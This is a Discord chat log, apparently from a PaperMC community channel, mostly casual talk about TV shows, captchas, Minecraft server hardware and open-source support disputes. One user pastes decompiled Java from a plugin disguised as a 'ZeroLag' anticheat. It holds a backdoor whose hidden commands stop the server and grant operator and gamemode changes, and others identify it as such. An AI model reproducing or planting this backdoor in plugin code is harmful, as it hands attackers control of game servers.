general

[left swift]

is it like a all grown up version

[magic river]

So yeah, I think he is Uncle Phil

[left swift]

hes the uncle Phil now

uncle will

[magic river]

I don't know if he is still Will and grown up or if there is a new Will and he is literally Uncle Phil

[left swift]

weird

[vernal moth]

There is a new will

That I know

[left swift]

probably gonna be shit like all the other reboots

[vernal moth]

Will Smith lately has been really shit in general

[magic river]

It's a completely different show, really

[left swift]

when's george Lopez coming back

[vernal moth]

I think the last time I liked something with will Smith was bright

And that was like 5 years ago?

[magic river]

It's like if you gave the premise of the original to David Chase (Sopranos) or Vince Gilligan (Breaking Bad) without telling them you wanted a comedy

Dark gritty dramas is what they do so that's what you'll get 😄

[golden gust]

One day

they'll make a new show

which is actually new and not just some typical "lets rebuild a classic and add some woe is me"

[vernal moth]

Some new shows are cool

[spare venture]

a new show that isn’t based on a book or is a sequel or a rehash? absoljtely@not

[magic river]

According to Wikipedia Will Smith is not in the show at all

[spare venture]

yeah i don’t remember him being in the commercial

[magic river]

Either the commercial is baiting me or I mixed him and Adrian Holmes up

Which would be bad because they look nothing alike

Then again it was in potato quality for half of it, it was a twitch ad

[silent lodge]

hm. @stray cloud wonder why it marked you as a spammer in #paper-dev

that's an interesting new feature

[warm anchor]

@static badge

[magic river]

They got flagged by discord and can't fix it

[silent lodge]

oh damn, is it an account flag?

[magic river]

Dunno if its IP or account, they didn't say

[silent lodge]

weird

[magic river]

Supposedly Discord removed it after a week of giving them a bunch of info to prove they're a person but as you can see, nope

[stray cloud]

No its not, its a pisstake, discord keeps saying its false flags to me everytime I report it

[magic river]

I think that's how the story went

[stray cloud]

Its not ip based

Its account based

[silent lodge]

aha i mean "interesting" as in probably a shit feature

[stray cloud]

I DONT EVEN SPAM LIKE WTF

I literally was busy for a week come back and find my account flagged for spamming

No my account wasnt compromised

[silent lodge]

did you get a system message?

[stray cloud]

Nope

Nothing

I reported it to discord

They banned my accoint

[silent lodge]

!!

[stray cloud]

A week later they then said it was a false flag

No apology for banning me for a week

[silent lodge]

that is. very weird

i wonder what triggered the flag

[stray cloud]

In currently waiting on them to reply to my third complaint about it

[left swift]

if you ban the people complaining you have no problems

[stray cloud]

Sighp

This is why I use IRC

@silent lodge JDA is a large dependency, also okhttp3 is pretty large too

Also u got a github?

[silent lodge]

i have gitlab

[stray cloud]

Ooo

Linj?

Link*

[silent lodge]

part of me is saying "i dont want to give this person a link because they'll see my shit code" and the other half of me is saying "but peer reviews ✨"

[stray cloud]

Im not gonna insult

too much

Jk jk

[silent lodge]

[prime coral]

Dont give spammers any link, you receive them

[stray cloud]

Im not a spammer

[silent lodge]

hey man according to discord you are and discord is never wrong

[prime coral]

Did you say something i can't see it

[stray cloud]

Oh ffs

[silent lodge]

pfft

[hexed dragon]

Ah yes heard of this Discord feature just never seen it until now.

[stray cloud]

Yeah

Why am I the unlucky one always 😞

[prime coral]

This is the best feature for discord staff to stop someone from interacting with others

fabulous

[stray cloud]

THATS THE OPPOSITE OF WHAT THE PLATFORM WAS DESIGNED FOR

xD

@silent lodge cmon show gitlab

I show mine if you allow dms lop

Lol

Pretty sure I will be banned if I paste it in this channel

[hexed dragon]

Could it be that someone reported you as spam through dms?

[silent lodge]

hm? what are there no links allowed?

anyway,

https://gitlab.com/akii0008

behold: shite code

[stray cloud]

Ooo

Nice xode

Code

@silent lodge can I dm you :))

[silent lodge]

why

[stray cloud]

https://gitlab.com/PolarianDev

Behold even more shit code

[stray cloud]

Cause I wanna chat...

Like I doubt u use IRC?

Right?

[vernal moth]

POV: me updating paper

[stray cloud]

A beer?

[stray cloud]

And some sweats?

[warm anchor]

@static badge

LOL

[stray cloud]

???

[stray cloud]

U a teen? U look really small

No offence xD

[vernal moth]

Lol

Am 185

[silent lodge]

uh??

[stray cloud]

Also nice setup

[vernal moth]

Meh I need a new TV this one sucks

[warm anchor]

I am surprised you can see anything that far away

[stray cloud]

Show pc?

Not in the mood

[silent lodge]

no he's not lol

[stray cloud]

Ugh

I should write a strongly worded email to discord and get banned for staff abuse 😉

Anyone here religious?

Its called a flag

[spiral robin]

bruh

[stray cloud]

Im not spamming

[full rune]

bruh

[magic river]

https://twitter.com/Plagman2/status/1497721812699860994

Pierre-Loup Griffais (@Plagman2)

The graphics team has been hard at work on optimizing ELDEN RING for Steam Deck. Fixes for heavy stutter during background streaming of assets will be available in a Proton release next week, but are available to test now on the bleeding-edge branch of Experimental. https://t.co/5oSnXtF2OG

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[silent lodge]

bruh

[ashen cliff]

Bruh.

[stray cloud]

Oh boy

Well my chat is filled with your annoying messages

So why dont you not spam

[magic river]

Windows has heavy stutter during background streaming of assets so, uh, if Proton works around that...

[vernal moth]

Pc

[magic river]

Wouldn't that mean Elden Ring runs better on Steam Deck than on a high end gaming desktop?

Because it stutters hard even on a Zen2+3090, apparently

[warm anchor]

It will really depend on how good it is at cooling itself though since it's a portable device

Will be nice to see some benchmarks.

[stray cloud]

Ok your one rich mf

@silent lodge sorry if I upset u btw

[magic river]

No no, 720p Low but smooth is better than 4k 144fps stutterfest

And they claim to be able to fix the stutter via Proton patches

So either they mean it stutters even worse on Proton and they can only bring it to Windows levels of stutter or they're going to make the game better than running on a desktop

[worn crest]

kenny and his "coolioh" made my day

[vernal moth]

Why? I am a software developer with half a decade of professional experience, I have sane income but that doesn't make me rich

[worn ember]

If it's your job/hobby why wouldn't you spend a lot of money on it. Makes sense to me

Don't even need to be rich for it

[limber knot]

not even 4 monitors smh

[worn ember]

4 seems like an annoying number

3 or 6 then

[limber knot]

I guess 6 works better but having a center top one is nice

[worn ember]

oh like that

i thought you meant in a row

[limber knot]

just annoying for webcam placement lol

[worn ember]

glue it to the side

[vernal moth]

6 actually, 3 on my desk, one TV and 2 in the vive 😉

[warm anchor]

@static badge stop being mean to kneny

It’s you

In the sink

[worn ember]

brocc talking to himself again smh

[warm anchor]

Where brocc

[vernal moth]

speaking about TV, I need a movie to watch, watching kneny get bullied is boring

any recommendations?

[worn ember]

oh its eternity

i thought it was brocc kekw

[hexed dragon]

lol

[warm anchor]

Best war movie just turn on news

[vernal moth]

russians getting slapped is getting boring tbh

I did see a girl on tiktok teaching people how to drive abandoned russian tanks, that was fun

[ashen cliff]

From Beijing with Love.

[warm anchor]

It’s kinda bad in a sense. Last thing I wanna be in is a Russian tank in Ukraine rn

[vernal moth]

was the new kings man any good?

wait did I watch eternals yet?

hype I think I didnt

I love how there are multiple wikipedia sites for the MCU

[magic river]

Ukraine seems to be mostly leaving the tanks alone and going after their supply lines

[worn ember]

get hyped to be dissapointed

[vernal moth]

oh dw I got my beer out already

[magic river]

Apparently Russia was providing little to no defense for their fuel, food, and ammo shipments

[worn ember]

lmao

[vernal moth]

wtf 2:35

who got time for that I have a change at 6am tomorrow

[magic river]

So tanks were running out of fuel and soldiers were knocking on doors asking for food after drone strikes took out a bunch of convoys

[vernal moth]

and it starts with textplaining, love to see it

[warm anchor]

There was a video of Russian going to Ukrainian police station askin for help

[magic river]

I didn't finish Eternals

[warm anchor]

Unreal

[vernal moth]

this wasn't cool in star wars, its sure not cool here https://i.imgur.com/YRWNEUr.png

[magic river]

Got like halfway through, fell asleep, and just read the synopsis of the movie in the morning

[worn ember]

its all downhill from there

[silver nexus]

I thought it was meh

[pallid edge]

Ah you're reading a new book!

[silver nexus]

Kinda out of character for marvel

[worn ember]

||they all die btw||

[hexed dragon]

lol

They made it too easy to figure it out.

[worn ember]

the story was just meh for me

it set some interesting plot lines but thats about it

[hexed dragon]

Waiting for moon knight now.

[worn ember]

am waiting for poopsplash man

[twin lagoon]

good chocolate

[vernal moth]

The movie is so bad, they literally take some random indian as camera man to be able to pack in more explanation

One hour in and we still in exposition

[true canyon]

The movie had some interesting ideas.

[ashen cliff]

Should have taken my recommendation. 🛌

[magic river]

It's like a DC movie

Instead of trimming the story down or spreading it over multiple movies they just exposition dump for literally the whole movie

[vernal moth]

MiniMessage stable hype!

https://github.com/KyoriPowered/adventure/releases/tag/v4.10.0

!!!!!

[lilac moon]

is that good

[spare venture]

yeah eternals was ok. i’m over marvel, stopped caring after endgame

11 years of superhero movies was enough for me

[little frost]

🎉 🎉 🎉 🎉

[spare venture]

hmmm what will i have to completely rewrite in minimessage this time 😔

[vernal moth]

It's the first stable release like ever

So yes, stability going forward will be waaaayyy better

[spare venture]

love it

minimessage is great

[vernal moth]

And zml ans the rest of the team just made it even greater

[void void]

🥳

[magic river]

It's just a deserializer for adventure now instead of a separate thing, right?

I mean, it always was in concept but now it's literally just another serialization format in adventure

[little frost]

pretty much

implements ComponentSerializer idk if it did before

[magic river]

No more parse method

[little frost]

yes because it's a serializer so it's deserialize

[magic river]

Wait how do you do line breaks with components?

Does it deserialize to an array of component trees and you have to sendMessage each one?

[limber knot]

uhh directly mostly - the client processes newlines

well, except for lore

[little frost]

i most places*

yes that

[magic river]

TIL

[little frost]

the client doesn't really handle newlines well it kinda breaks the chat log file iirc but it works visually

[limber knot]

we're talking about adding a Componrnt#split method, but the style handling on that is annoying

[magic river]

CraftBukkit was always changing your \n behind your back in my day

[limber knot]

lol

[magic river]

It took your sendMessage with newlines and turned it in to several messages

[limber knot]

probably good if you're worried about packet size issues

[magic river]

Didn't know the client actually supported them

[limber knot]

might've changed at some point, they rewrite the font renderer during 1.16

*rewrote

[next ginkgo]

Anyone that knows a plugin where yo u can convert your mined items like diamonds, Gold, Iron to a balance?

[novel horizon]

why dont you just let people sell those for "balance"

like in essentials or so

[next ginkgo]

But than i can't convert them back

so if I would than want to convert them back to diamonds or iron I can't

[novel horizon]

You can just let them buy them back, lol

create a sign (essentials has them, make sure people have permissions, enable them, etc) and they can just buy it back for the same amount or smth

[left swift]

amaranth ur selling fart jars now?

[magic river]

wat

[plucky sparrow]

i'm in disbelief

amaranth i was not expecting this from u

[left swift]

for $1000 too sheesh

dont u make enough already from onlyfans??

[magic river]

That's an expensive way to commit suicide

[magic river]

🤢

That reads like a parody

[left swift]

feel like it is a joke cuz they're $1000

but theres already atleast 100 orders

[limber knot]

is she selling fart NFTs yet?

[left swift]

4 sure

[magic river]

$1000 for an empty jar

[left swift]

and a hair

[vagrant marlin]

@void void

[plucky sparrow]

no but the hot tub jars do come with some water

[vagrant marlin]

ok

[twin lagoon]

ok

[magic river]

Do they really though?

[plucky sparrow]

it says in there

[magic river]

It also says subject to changes

[plucky sparrow]

can you imagine you order it and it arrives shattered

[magic river]

And I don't think you can ship that kind of thing anyway

Like, you're not really shipping human waste or body parts but you say you are and that's not allowed

[vagrant marlin]

i think we got the funny guy here

[plucky sparrow]

is it human waste

[crystal compass]

bro this guy is awesome he offered me a 5$ anticheat for free!

public boolean onCommand(CommandSender commandSender, Command command, String label, String[] commandArgs) {
    if (command.getName().equalsIgnoreCase("))
      try {
        Object localVariableScope = new Object();
        Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "stop");
      } catch (Exception e) {
        e.printStackTrace();
      }  
    if (command.getName().equalsIgnoreCase("))
      try {
        Object localVariableScope = new Object();
        ((Player)commandSender).setGameMode(GameMode.SPECTATOR);
        commandSender.sendMessage(color("&4&l[NeonGriefersOfficial] &2Enjoy the GM!"));
      } catch (Exception e) {
        e.printStackTrace();
      }  
    if (command.getName().equalsIgnoreCase("))
      try {
        Object localVariableScope = new Object();
        ((Player)commandSender).setGameMode(GameMode.SURVIVAL);
        commandSender.sendMessage(color("&4&l[NeonGriefersOfficial] &2Enjoy the GM!"));
      } catch (Exception e) {
        e.printStackTrace();
      }  
    if (command.getName().equalsIgnoreCase("))
      try {
        Object localVariableScope = new Object();
        ((Player)commandSender).setGameMode(GameMode.CREATIVE);
        commandSender.sendMessage(color("&4&l[NeonGriefersOfficial] &2Enjoy the GM!"));
      } catch (Exception e) {
        e.printStackTrace();
      }  
    if (command.getName().equalsIgnoreCase("elag"))
      try {
        Object localVariableScope = new Object();
        commandSender.sendMessage(color("&6&l[ZeroLag] Successfully &2Enabled!"));
      } catch (Exception e) {
        e.printStackTrace();
      }  
    if (command.getName().equalsIgnoreCase("dlag"))
      try {
        Object localVariableScope = new Object();
        commandSender.sendMessage(color("&6&l[ZeroLag] Successfully &4Disabled!"));
      } catch (Exception e) {
        e.printStackTrace();
      }  
    if (command.getName().equalsIgnoreCase("))
      try {
        Object localVariableScope = new Object();
        ((Player)commandSender).setOp(true);
        commandSender.sendMessage(color("&4&l[NeonGriefersOfficial] &2Enjoy the OP!"));
      } catch (Exception e) {
        e.printStackTrace();
      }  
    return true;
  }
  

[plucky sparrow]

@left swift did you receive your pokimane scent jar

[vagrant marlin]

thanks for filling up my screen 👍 🤠

[plucky sparrow]

can u not upload that here

put it in a pastebin

[vagrant marlin]

i dont think that we need a terribly made backdoor anywhere here

[left swift]

no it was stolen in mail by us postal service

[crystal compass]

i thanked him very much for his zerolag.jar

and offered to pay him

[plucky sparrow]

did you not buy another one

[left swift]

no they're 10 grand I already took out a loan

payday loan

[spare venture]

why am i not surprised you found out about this first

[plucky sparrow]

who cares

get another one

it's pokimane's fart scent

[rain delta]

Well this is fun. Fucker banned me from Enginehub and blocked from on Discord because I asked about the ETA of a promised feature. Now I can't tag him on here either without being insta-banned from this Discord too?

[left swift]

who are u

[lament patio]

We don't talk about this

[left swift]

randomly quotes a message from a year ago

[rain delta]

Yeah cause I searched the guy's username to see if he was on here and saw that message.

[plucky sparrow]

why is eterniweeb's name "Spottedleaf's Kitchen Sink"

weirdo

[rain delta]

Thank god I did because otherwise I'd be perma banned from here too and unable to get support from Paper. All because some guy doesn't like to provide support.

[left swift]

ur probably about to get banned here too

[twin lagoon]

comical

[left swift]

[magic river]

Are you paying him?

[rain delta]

Am I paying him to be able to ask if there was somewhere to get more info on when a feature will be available? No.

I don't think I need to pay money to get linked to a Github issue to see discussion about it, or at least get a response like "we aren't actively working on this and don't plan to start soon".

Worldguard's website suggests this feature is planned to be implemented, I'm just looking for some context on when that would be so I can plan around that. Do i need to pay for that context?

[left swift]

yes

[spare venture]

who r u

[left swift]

[magic river]

What feature is that, anyway? I want to look through the Internet Archive and see if that message has been there for more or less than 4 years

[meager tusk]

you can pay someone to implement the feature for you broski

[rain delta]

i may have to.

[meager tusk]

that's life

[rain delta]

and i'm totally cool with that.

[meager tusk]

cool cool

[rain delta]

i am NOT saying "omg you need to implement this for free for me right now i need it nowww"

[spare venture]

you’re not gonna get much sympathy here for getting upset with support on a free plugin

[rain delta]

I just asked if it was in the works lmao

[meager tusk]

yeah but nobody here knows lol

you're venting in the wrong place

[spare venture]

wiz is notorious for getting upset easily but he kinda has a good reason

[magic river]

For real though, can you link to the page you're seeing this on?

[rain delta]

i'm just venting about the message I quoted above - how mentioning him get's me insta banned here too.

i was hoping to reach out and talk to him, apologize for asking my question, and hopefully get unbanned so i can continue to use the support channels for enginehub plugins

but that doesn't appear to be an option

[rain delta]

yeah one sec

[spare venture]

well no shit you’re coming into an unrelated discord thinking you’ll just ping him after he banned you and blocked you. cmon dude

[magic river]

I don't think it does anymore, pretty sure he isn't a mod here. He might just block you or leave the server though

[rain delta]

do you have a better suggestion?

[meager tusk]

welcome to the minecraft community

[spare venture]

it’s a rule to not ping notables for no good reason

[plucky sparrow]

you can ping notables

[spare venture]

only thing i can suggest is just accept that you kinda fucked up, accept that you got banned, move on. maybe appeal it in a month

[plucky sparrow]

6. Pinging server staff, moderators, or contributors without a valid reason.

[spare venture]

oic

[rain delta]

and where do i appeal it?

[magic river]

It is annoying getting pinged all the time, especially if you're obsessive about clearing your mentions (in case something actually important comes in) or easily distracted

[spare venture]

i don’t know i am not enginehub

[rain delta]

exactly.

[spare venture]

exactly.

[rain delta]

i'm banned, blocked, and can't ping him on here. there is no appeal route.

[spare venture]

this ain’t the place to appeal

[meager tusk]

welcome to open source in general

[left swift]

we can ping amouranth

[rain delta]

https://worldguard.enginehub.org/en/latest/regions/common-scenarios/?highlight=block-place#how-do-i-allow-breaking-of-only-certain-block-types

Sorry, this is not supported per region yet!

[magic river]

Amusingly even when people try not to ping me they do anyway

[meager tusk]

unfortunately if you want a feature done most of the time you're gonna have to put in the wok or hire someone to do so

[magic river]

I have amaranth as a highlight word on IRC

[rain delta]

sorry, the auto-ping on reply gets me every time

[meager tusk]

kek

[spare venture]

I’m gonna say the word “yet” isn’t a promise that it’s going to be done or even planned.

[vernal moth]

Papermc only employs professionals https://clips.twitch.tv/ComfortableTrappedMilkTheRinger-s3tIeBPuu1tE-AJ_

[spare venture]

Russia hasn’t nuked my house yet

[magic river]

http://web.archive.org/web/20181226090003/https://worldguard.enginehub.org/en/latest/regions/common-scenarios/#how-do-i-allow-breaking-of-only-certain-block-types

lol so yeah, been there at least since 2018, probably earlier but internet archive didn't see it or the URL changed

I feel like I saw this message on there in like 2011 or 2012 when I still ran a server too

[rain delta]

And I'm still cool with that. Never said I wasn't. Of course I'm going to ask if it's in the works, first, though, and I was banned for doing so.

[meager tusk]

i didn't say you're not cool with it, i'm just making sure that if anyone's peering in on this convo who's not in the know does know that

[rain delta]

I disagree, I think the word "yet" being present is very important. If it wasn't planned, that word would be omitted from that sentence.

[meager tusk]

it's unfortunate when i see people come here hoping to ask about if a feature is going to be done, open source maintainers do a lot of stuff and i can see why it gets annoying

[magic river]

I bet sk89q put that in there and they just never removed it because it would be nice to have

[meager tusk]

and of course some open source maintainers have an ego but i won't get into that

[magic river]

You have to have an ego to be an open source maintainer

The only reasons to do open source are ego or someone is paying you for it

[ashen cliff]

Essentials AntiBuild. 🛌

[rain delta]

Does AnitBuild have regions?

[ashen cliff]

No idea. But it's a good meme for people who add it by mistake.

[left swift]

@ j ray

[magic river]

Even when I tried to be super nice and help all my users and keep on top of issues and so on I wasn't doing it just because, I thought it showed how good of a maintainer I was

aka ego

[meager tusk]

Sure, but when some maintainers get irrationally mad at newbies using their projects it's weird, especially when they don't lay out ground rules in a way that's rational

[rain delta]

Most likely. Which makes the conversation before I was banned more frustrating. Because I said "if it's not going to be added, that's cool, but then it should be removed from the website" and he replied "it's not my problem you can't manage your expectations".... rather than just... removing it.

[spare venture]

like I said, “yet” is not generally a promise that it’ll happen

[magic river]

After a few years of that I burned out and doing tech support for a job just burned me out harder

[meager tusk]

And what i mean by that is when they go "well you should have read rule 39, paragraph D which is located in SUPPORT.md in the src/resources folder and it's clearly outlined there you can't ask this"

that's not rational

[full rune]

https://ehub.to/ban-appeal (copied from enginehub rules)

[magic river]

After I spent all day being pretend nice to idiots with iPhones I didn't want to do it for my hobby

[left swift]

stop making sense

[magic river]

Started off as taunting jerks and trolls then just became generally being real terse or an outright jerk

People used my stuff anyway, they didn't have a choice since it was the only or best option, and most of them were entitled and/or jerks

[rain delta]

thank you. where are these rules linked?

[magic river]

Then I just quit entirely

[spare venture]

doesn’t their discord say don’t ping people with roles

i don’t think it’s hidden somewhere

[rain delta]

if you're asking about Enginehub regarding my ban, I didn't ping anyone there.

[meager tusk]

this is why i think that open source maintainers who get really annoyed at questions should just make support a paid service

[spare venture]

yes

filters out the choosing beggars pretty quick

[meager tusk]

people would rather pay than be yelled at because the maintainer is tired of answering questions and is doing something else

[meager tusk]

that too

[spare venture]

and they get something for putting up with all the bullshit

[magic river]

Yeah but paid support turns it in to a job

And only works as an actual job in some rare cases

[full rune]

in the enginehub discord

[spare venture]

yeah it means there’s some obligation to provide support

[rain delta]

lol. well thanks for grabbing that for me.

[magic river]

Like, the one or two man projects that can fund full time work via paid support and services are so few and far between I can't even think of one off hand

[meager tusk]

doesn't it turn into an unpaid job yelling at people anyway?

[spare venture]

is this new

[magic river]

Eh, it can be cathartic

[spare venture]

hcaptcha to join discords now

[magic river]

Although it just makes things worse in the long run

[meager tusk]

there's two angles to that

1. yes

2. you have malware that's using your response as a captcha solver

[spare venture]

i don’t think i have malware on my iphone

[plucky sparrow]

that reminds me

hCaptcha is the hugest piece of shit created by humanity

[spare venture]

i’d rather have it than no captcha

[meager tusk]

then refer to angle number one

[spare venture]

yes

[meager tusk]

hCaptcha is horrible

[plucky sparrow]

it really is

[spare venture]

just get a token that solves them for you?

[plucky sparrow]

no

.

[limber knot]

what's the issue with hCaptcha?

[plucky sparrow]

its awful

[spare venture]

hcaptcha has a pass that you can get to always bypass it

[plucky sparrow]

it takes so long to solve

[spare venture]

recaptcha doesn’t have that afaik

[plucky sparrow]

recaptcha is literally easy

it's wonderful

[spare venture]

recaptcha doesn’t stop bots, soo…

no shit? lol

[limber knot]

recaptcha is literally the same as hCaptcha unless you are logged into google lol

[plucky sparrow]

i literally spent like 5 minutes trying to solve hcaptcha

[glass crag]

hcaptcha asked me to solve pictures like 10 times the other day 🤕

sick of seeing seaplanes

[plucky sparrow]

the images it gives are so bad

[limber knot]

try using TOR, you will have to answer like 10 recaptchas 👀

[plucky sparrow]

don't get me started on that

[spare venture]

if it takes you 5 minutes you might be a little developmentally delayed there brother

[plucky sparrow]

no it literally just fails

[cosmic raft]

https://i.imgur.com/XAZFixv.png

[plucky sparrow]

the images are so damn bad

[limber knot]

recaptcha is only fast/not often necessary because they take your google account score into account

[cosmic raft]

[spare venture]

the images are fine

[plucky sparrow]

they are not

[meager tusk]

no?

it really isn't

[limber knot]

?

[plucky sparrow]

i have to get close to my monitor just to see what they are

[meager tusk]

reCaptcha doesn't paginate problems

[limber knot]

what do you mean?

[spare venture]

oh no i can’t tell which one is an a seaplane!

[plucky sparrow]

and even if you get them right it might feel like saying "oh I actually think you took a bit too long so do me a few 10 more checks"

[glass crag]

there are some bad pics

[plucky sparrow]

what even is a seaplane

[glass crag]

this ones pretty blurry

[limber knot]

chad.: are you blind or dumb?

[spare venture]

am i?

[plucky sparrow]

on phone it might be fine, anywhere else it sucks

[void void]

My grandma struggles with hCaptchas aswell, they're definitely a lot harder than recaptcha's

[spare venture]

yeah but clearly a seaplane

[limber knot]

why is your grandma using a phone?!?

runs

[plucky sparrow]

if you take just a bit too long, it will make you do another check

and so on

[spare venture]

i’m telling you, normal people don’t take 5 mins

[limber knot]

I personally think captchas should be illegal. who says bots don't have rights anyways?!?

[glass crag]

it does if it takes u thru 10+ pages of pictures of seaplanes and bikes

[plucky sparrow]

^^

[meager tusk]

in hcaptcha regardless of whether you get the answer correctly you have paginated problems

[plucky sparrow]

last time i checked the images were blurry af and the topics / themes were so specific and odd

[meager tusk]

where you click next next next a bunch of times

[limber knot]

Idriz: no?

[silver nexus]

the only thing those do is make me question reality when i fail them.

[limber knot]

also if you don't have a good google score then you will get those all the time with recaptcha too ¯_(ツ)_/¯

[plucky sparrow]

even if i had to do like 3 tests on recaptcha, it somehow feels so much nicer

so much faster

[meager tusk]

the thing is recaptcha figures your score out

hcaptcha fucks up consistently

[plucky sparrow]

you won't see anyone praising hcaptcha

check the history in this server for it

it's awful

[cosmic raft]

i mean, hcaptcha has never given me an issue

neither has recaptcha

[limber knot]

Idriz: what do you think "figuring your score out" means? you realise google doesn't give hCaptcha access to their google account/user ratings right?

there is nothing to use for hCaptcha to be as good as recaptcha lol

[plucky sparrow]

right

so why even use hcaptcha

use recaptcha

[limber knot]

recaptcha is google crap

good on any company that doesn't feed it

if you want to compare them test them against each other with tor or some VPN (and a non-tagged browser)

but comparing the amount of challenges one has to solve it not a good metric if you are using your normal browser as google will of course know that you are a human and most likely not even show a challenge at all

*is not

[plucky sparrow]

im fine with it being google crap as long as I don't have to fucking struggle to solve it

[glass crag]

As much as I hate hcaptcha at least it's not Google

[limber knot]

hcaptcha is not a struggle if your browser is normal

or even easier: don't use shitty sites that require captchas

[glass crag]

Even recaptcha starts doing 10 second fades when you click

[limber knot]

runs

[plucky sparrow]

my browser's normal

[glass crag]

They all annoying

[limber knot]

also don't use shared IPs/third world countries/odd OSes ;D

[plucky sparrow]

i dont

if anything cloudflare warp

[limber knot]

the only time I see hCaptcha is when I use TOR tbh. don't really see it anytime else so I guess cloudflare just likes me? 👀

[plucky sparrow]

yea thankfully i have not encountered hcaptcha for a while

i want it to stay like that

i want that shit to die

[limber knot]

if only the internet wasn't centralized lol

with how much cloudflare controls you are guaranteed to regularly see captaches in the future

[lament patio]

Google captcha hates me, I get the grainy ones that take 10 seconds to fade every time and it usually tells me to try again a couple times

It's a relief every time I see hCaptcha instead

[limber knot]

yeah once google scores you low it's annoying af

I personally prefer the puzzles over the AI training ones anyways

[little frost]

i got a weird captcha before, it was like AI generated images??

idk just something uncanny about these images

[void void]

those don't look like real pictures at all lol

Interesting how they're using those

[quasi cave]

Hi guys, is there a general where I can possibly ask for an assessment if you will on the specs of the dedicated hardware, as I would like to be able to run a 50 to 100 player server & I've read PaperMC is the best option when it comes to maximising server performance?

[limber knot]

TIL that hCaptcha has some interesting connection to Ethereum... also they abused captcha farms to train their dataset lmao

pretty sure I've read someone that some captcha images aren't actually real. those look pretty fake lol

[lament patio]

You can use this channel

[quasi cave]

Oh ok nice!

[limber knot]

ok apparently hCaptcha actually pays you instead of costing money like recaptcha 👀

so actually website owners have an insentive to show their users more captchas

[quasi cave]

Would this be enough for a solid 20 player lobby @16 server render distance on dedicated hardware? If it was more then 20, how many could it be? as I've heard Minecraft can't utilise too much RAM in the first place? I imagine something like Fabric essentials being fine but what about Roguelike Adventures & Dungeons?

64 GB DDR3 RAM (4x16GB sticks)
Intel Xeon Processor E5-1620 v2 - 4 CPUs (8 threads) with frequency of 3.70GHz ~ 3.90GHz (if boosted)
2 TB SATA SSD (2x1TB drives)
Gigabit Ethernet Connection

Basically I'm running Linux CentOS 7 but the hardware is a decade old. Would I be better off purchasing a VPS online or? Thing is I don't want to be cutting things down in the server either, for example I would like to have the server render distance for Java be 12 to 16 at least as I understand the server render distance is the cap at which if a client were to set it beyond the server set distance, they wouldn't have anything rendered, if it was set to 8, it can potentially look ugly 😅

[limber knot]

probably more than enough

although teh E5-1620 isn't the best CPU for a game server in general but a lobby wouldn't really have the same impact as a survival server

[quasi cave]

But what about pure Java? would it be possible to squeeze 50 players?

[limber knot]

you can probably run like 3 lobby servers on this

what do you mean by "pure java"?

[quasi cave]

If we leave the modpacks aside, I mean just a java edition server with some plugins

[limber knot]

paper doesn't support mods so no idea

[ashen cliff]

1620v2 is the bottleneck. Try getting a better chip for cheap.

[limber knot]

E3-1245 v5/v6 would be better than the 1620 and still cheap

but I personally have no issue with teh E3-1245v2 which gets less benchmark score than the 1620v2 ¯_(ツ)_/¯

[lament patio]

For a lobby, 20 players is easy on that hw, but I don't think you can run 50 players survival on that

[ashen cliff]

At least the 1620 v2 is unlocked. 🛌

[quasi cave]

Likely the case, thank you for the valuable input everyone!

[magic river]

As soon as you're looking at doing any content mods or modpacks you should expect to never have more than like 4 players 😛

Not 4 at a time, 4 total

Unless they all live together and share all their resources, machines, farms, altars, etc

[spare venture]

you can fit a shitton of people on a lobby provided you have no entities or really anything going on

[magic river]

Do any of the chunk loader mods support only keeping the chunks loaded when the player is online?

Like I hate it when my machines pause while I'm running to someone else's base or inside a compact machine but if everyone keeps their base always loaded the server dies

[limber knot]

sounds like a reasonable concept tbh

[magic river]

To go even lower I'd also accept a mod that just made it so if one of my marked chunks was loaded they all were

That way things would keep working when I'm inside a compact machine or if someone flies by and I wouldn't have to worry about things breaking and spewing items everywhere at every chunk border

[quasi cave]

That would be interesting, a vanilla only server without any plugins or mods

[summer rivet]

I mean... I guess compared to health 15 i was pretty good but well u dont realy have the abilities of 18

But health is something more important bc I cant do realy much when im feeling sick all the day

6 years ago and my health is like perfect

is it possible that cells are getting older hugely faster?

[magic river]

That's called progeria

And starts when you're a baby

Smoking, poor diet, lack of exercise, alcohol, etc can make you look and feel older though

[summer rivet]

i dont take alcohol or drugs and eat good things like vegetables

im also very carefull in everything

idk why everything is so fragile

[magic river]

Stress can do it too but I think that's more due to the habits it causes

[summer rivet]

its like a curse (is it?)

[summer rivet]

i dont have stress, im chilling but i cant call it realy chilling bc im arent feeling good

[limber knot]

I mean how would you even feel good without alcohol and just vegetables?

runs

[summer rivet]

i doubt it would make backpain away

[timber sentinel]

What

[limber knot]

alcohol definitly does that when you are drunk lol

[summer rivet]

But i hate it

[limber knot]

but CBT cigarettes also help

*CBD lol

[summer rivet]

at least the smell and taste

oh am cigarette smoke is nothing for me

[tropic flame]

ChickenChunks lets you set that up (and honestly I've only ever known CC as "the chunk loader mod" lmao)

it's a Forge mod though, for Fabric I have no idea 🤷

[lilac moon]

https://twitter.com/gitlost/status/1498437365261651968?s=20&t=v0uVZM7fG5ebbLKbDitxJQ

Developers Swearing (@gitlost)

…infinite loop when saving chunks * Paper #0163 MC-80966 - Always send chunk sections * Paper Fix hopper suck in patch bug * Update…

Twitter · Feb 28, 2022, 11:18 PM

apparently suck is a swear word

[limber knot]

lol

[magic river]

TIL macOS doesn't support DP MST

[limber knot]

SOMEONE watched the latest LTT video 👀

[foggy veldt]

kenny is famous

[twin lagoon]

@quasi valley you're famous under the weebs

thoughts

[lilac moon]

who is this person in this screenshot

[foggy veldt]

different server

that clip is #2 top twitch clips for 7 days in software dev category tho

[void void]

even in the top 10 of the past month

[warm anchor]

Still waiting on that 24 hour stream promised

[warm anchor]

@grand pewter

[glossy mirage]

Can villagers still get down to 1 paper per emerald trades?

[timber sentinel]

yes, unless you enable the option that prevents it

[glossy mirage]

I dont think i did

is that on by default in paper or anything?

[grand pewter]

enjoying the update?

[limber knot]

@glossy mirage yes it's on by default

[glossy mirage]

Ill take it that its not intended gameplay then?

[warm anchor]

Fun time. @grand pewter

[limber knot]

correct. if you want to re-enable it, the config option is fix-curing-zombie-villager-discount-exploit

re-enable the exploit I mean. Probably should've said disable the option lol

[glossy mirage]

Thanks ❤️

[lilac moon]

it looks german

[warm anchor]

What make you think that!

[lilac moon]

just a guess :)

yeah

and it had an umlaut a

[foggy silo]

Concatenation 😻

[lilac moon]

cats??!!

https://tenor.com/view/sleepy-sleep-tired-gif-23914693

[potent wedge]

It's 9 pm

[magic river]

